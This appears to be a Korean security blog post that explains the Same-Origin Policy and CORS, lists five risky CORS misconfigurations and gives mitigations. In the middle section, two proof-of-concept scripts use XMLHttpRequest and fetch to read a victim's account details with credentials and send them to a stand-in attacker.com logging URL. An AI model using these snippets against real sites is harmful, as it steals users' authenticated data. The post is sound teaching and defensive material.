Web

SOP & CORS

imymin 2026. 3. 25. 08:27
반응형

웹 보안을 공부하다 보면 가장 먼저 마주치는 장벽이 바로 SOP(Same-Origin Policy)CORS(Cross-Origin Resource Sharing)다. 흔히 CORS를 "에러 해결 수단"으로만 생각하지만, 보안 관점에서는 매우 정교한 접근 제어 메커니즘이다.

오늘은 CORS가 정확히 무엇인지, 그리고 이를 파고드는 취약점 시나리오를 공격 코드와 함께 심층 분석해 본다.

 

SOP(Same-Origin Policy)의 한계와 오해

SOP는 브라우저가 다른 출처(Origin)의 응답에 접근하는 것을 막는 보안 정책이다. 하지만 많은 이들이 착각하는 사실이 있다.

"SOP는 요청 자체를 막아주는 방어 수단이 아니다."

 

 

SOP 작동 메커니즘 (은행 예시)
사용자가 hacker.com에 접속했을 때, 해당 페이지의 스크립트가 bank.com/api/balance로 요청을 보낸다고 가정하자.

 

요청 전송: 브라우저는 hacker.com에서 보낸 요청을 거부하지 않고 bank.com으로 보낸다. (사용자의 쿠키도 함께 전송된다!)

 

응답 수신: bank.com은 정상적인 요청이라 판단하고 잔고 데이터를 응답한다.

 

SOP 개입: 데이터가 브라우저에 도착했을 때, 브라우저는 스크립트 출처(hacker.com)와 데이터 출처(bank.com)가 다름을 확인하고 자바스크립트가 응답을 읽으려고 할 때 접근 거부 에러를 발생시킨다.

 

결론: 요청은 가고 데이터도 오지만, '읽기'만 못하는 것이다. 따라서 데이터 수정/삭제 요청을 보내는 CSRF 공격은 SOP만으로 막을 수 없다.

 

CORS(Cross-Origin Resource Sharing)란 무엇인가?

SOP가 "다른 동네와는 절대 놀지 마!"라는 철저한 고립 정책이라면, CORS는 "내가 허락한 친구랑은 놀아도 돼"라고 예외를 두는 메커니즘이다.

 

 

어떻게 허락을 구하나? (HTTP 헤더의 역할)
CORS는 브라우저와 서버가 HTTP 헤더라는 쪽지를 주고받으며 작동한다.

 

Origin 헤더: 브라우저가 요청을 보낼 때 "나 https://my-app.com에서 왔어"라고 출처를 밝힌다.

 

Access-Control-Allow-Origin (ACAO): 서버가 응답할 때 "그래, https://my-app.com은 내가 허락한 곳이야"라고 적어서 보낸다.

 

브라우저는 서버가 보낸 이 ACAO 헤더를 확인하고, 요청한 곳이 허락된 목록에 있으면 SOP의 빗장을 풀고 데이터를 읽게 해준다.

 

즉, CORS는 SOP라는 보안 벽에 '안전한 구멍'을 뚫는 작업이다. 하지만 이 구멍을 너무 크게 뚫거나 잘못 관리하면 해커의 통로가 된다.

 

공격자는 어떻게 데이터를 가로채는가? (공격 코드)

서버가 CORS 설정을 관대하게(취약하게) 했을 때, 해커는 다음과 같은 코드를 사용하여 사용자의 민감 정보를 자신의 서버로 탈취할 수 있다.

 

[CASE 1] XMLHttpRequest를 이용한 탈취

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    // 피해자의 민감한 정보가 담긴 API 주소
    req.open('get','https://vulnerable-website.com/accountDetails', true);
    req.withCredentials = true; // 세션 쿠키를 함께 전송
    req.send();

    function reqListener() {
        // 응답으로 받은 텍스트(데이터)를 공격자의 로그 서버로 전송
        location = 'https://attacker.com/log?key=' + this.responseText;
    };
</script>

 

[CASE 2] Modern Fetch API를 이용한 탈취

<script>
    fetch('https://vulnerable-website.com/accountDetails', {
        method: 'GET',
        credentials: 'include' // 세션 상태 유지를 위해 쿠키 포함
    })
    .then(response => response.text())
    .then(text => {
        // 탈취한 데이터를 쿼리 스트링에 담아 공격자 서버로 리다이렉트
        location = 'https://attacker.com/log?key=' + encodeURIComponent(text);
    });
</script>

 

 

위험한 CORS 설정 시나리오 5가지

① Origin 헤더 그대로 반사하기 (Reflected Origin)
일부 애플리케이션은 관리가 귀찮다는 이유로 요청의 Origin 헤더를 읽어 그대로 허용 응답을 보낸다.

 

공격자 요청: Origin: https://malicious.com

 

서버 응답: Access-Control-Allow-Origin: https://malicious.com

 

결과: 해커가 어떤 도메인에서 오든 서버가 "어, 너 허용된 애야!"라고 대답해 주는 꼴이다.

 

 

② 출처 비교 로직의 허점 (Parsing Error)
허용 목록(Whitelist)과 비교할 때 정규식이나 문자열 비교를 미흡하게 하는 경우다.

 

접미사 매칭: normal-website.com으로 끝나는지 확인 → hackers-normal-website.com으로 우회.

 

접두사 매칭: normal-website.com으로 시작하는지 확인 → normal-website.com.evil-user.net으로 우회.

 

 

③ null Origin 신뢰
브라우저는 로컬 파일 실행이나 iframe 샌드박스 요청 시 Origin: null을 보낸다. 서버가 이를 허용하면 해커는 iframe을 통해 자신의 정체를 숨기고 접근할 수 있다.

 

 

④ 신뢰 관계를 이용한 XSS 연쇄 공격
정확한 CORS 설정으로 sub.domain.com을 신뢰하고 있는데, 만약 해당 서브도메인에 XSS 취약점이 있다면? 해커는 서브도메인에 악성 스크립트를 주입하여 본진(domain.com)의 데이터를 털어올 수 있다.

 

 

⑤ TLS(HTTPS) 무력화
HTTPS를 사용하는 보안 사이트가 일반 HTTP를 사용하는 서브도메인을 CORS 허용 목록에 넣은 경우다. 이 경우 중간자 공격(MITM)을 통해 암호화되지 않은 HTTP 통신을 가로채고 보안 세션을 무력화할 수 있다.

 

안전한 CORS 방지 대책

엄격한 Whitelist 관리: 요청자의 Origin을 그대로 반사하지 말고, 사전에 정의된 도메인 리스트와 정확히 일치하는지 대조한다.

 

null Origin 허용 금지: 샌드박스 환경에서의 요청을 신뢰하지 않는다.

 

Credentials 제어: 민감한 정보가 필요 없는 경우 Access-Control-Allow-Credentials: true 설정을 지양한다.

 

인트라넷 주의: 내부망 서비스도 외부 공격자가 사용자의 브라우저를 징검다리 삼아 내부 데이터를 털어갈 수 있으므로 보안 설정을 소홀히 해서는 안 된다.

 

마치며

CORS는 웹의 개방성과 보안 사이의 균형을 맞추는 장치다.

하지만 잘못된 설정은 SOP라는 최후의 방어선을 무너뜨리는 치명적인 약점이 된다.

보안 공부를 하는 입장이라면 "어떻게 설정하느냐"보다 "어떻게 로직을 꼬아서 우회하느냐"에 집중해 보자.

반응형